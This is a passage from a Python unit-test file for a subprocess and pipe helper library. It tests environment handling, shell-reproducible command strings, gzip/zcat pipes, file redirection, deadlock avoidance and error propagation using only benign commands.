test_empty_environment_by_default(self): 79 | env = run('env').stdout.read().decode() 80 | 81 | assert env == '' 82 | 83 | def test_copy_environment_opt_in(self): 84 | env = run('env', env=propagate_env({})).stdout.read().decode() 85 | 86 | assert env != '' 87 | 88 | def test_repr(self): 89 | """ 90 | A user should be able to run str(Subprocess) in their shell prompt. 91 | """ 92 | cmd_str = str(run('printf', 'foo"bar')) 93 | output = subprocess.check_output(cmd_str, shell=True).decode() 94 | 95 | assert output == 'foo"bar' 96 | 97 | def test_repr_env(self): 98 | cmd_str = str(run('env', env=propagate_env(foo='bar'))) 99 | env = subprocess.check_output(cmd_str, shell=True).decode().split('\n') 100 | 101 | assert 'foo=bar' in env 102 | 103 | def test_empty_env(self): 104 | proc = run('env', env={'foo': 'bar'}) 105 | 106 | spm_run = set(proc.stdout.read().decode().split('\n')) 107 | sh_run = set( 108 | subprocess.check_output(str(proc), shell=True).decode().split('\n') 109 | ) 110 | 111 | assert sh_run == spm_run 112 | 113 | def test_subprocess_failure(self): 114 | with self.assertRaises(subprocess.CalledProcessError): 115 | run('false').wait() 116 | 117 | def test_environement_on_pipe(self): 118 | proc = pipe(['env'], ['egrep', '^FOO='], env={'FOO': 'BAR'}) 119 | 120 | assert proc.stdout.read().decode() == 'FOO=BAR\n' 121 | 122 | def test_pass_subprocess_to_pipe(self): 123 | proc = pipe(['printf', 'hello'], ['gzip'], run('zcat')) 124 | assert proc.stdout.read().decode() == 'hello' 125 | 126 | 127 | class PipeTest(DeadLockMixin, TempFileMixin, unittest.TestCase): 128 | def test_stdin_from_file(self): 129 | content = '__file_content__' 130 | 131 | fname = self.get_temp_filename() 132 | with open(fname, 'w') as file_: 133 | file_.write(content) 134 | 135 | cat = run('gzip').pipe('zcat') 136 | cat.stdin = open(fname) 137 | 138 | assert cat.stdout.read().decode() == content 139 | 140 | def test_stdout_to_file(self): 141 | string = '__output__' 142 | fname = self.get_temp_filename() 143 | 144 | echo = run('printf', string) 145 | echo.stdout = open(fname, 'w') 146 | out, err = echo.wait() 147 | 148 | assert out is None 149 | 150 | with open(fname) as file_: 151 | assert six.u(file_.read()) == string 152 | 153 | def test_safe_pipe_stdout_read(self): 154 | command = pipe(['gzip'], ['zcat']) 155 | 156 | with self.assertDoesNotHang(): 157 | assert command.stdout.read().decode() == '' # No deadlock 158 | 159 | def test_safe_pipe_wait(self): 160 | command = pipe(['gzip'], ['zcat']) 161 | 162 | with self.assertDoesNotHang(): 163 | out, _ = command.wait() # No deadlock 164 | 165 | assert out.decode() == '' 166 | 167 | def test_failing_pipe_command(self): 168 | with self.assertRaises(subprocess.CalledProcessError): 169 | pipe(['true'], ['false'], ['true']).wait() 170 | 171 | if __name__ == '__main__': 172 | unittest.main() 173 | --------------------------------------------------------------------------------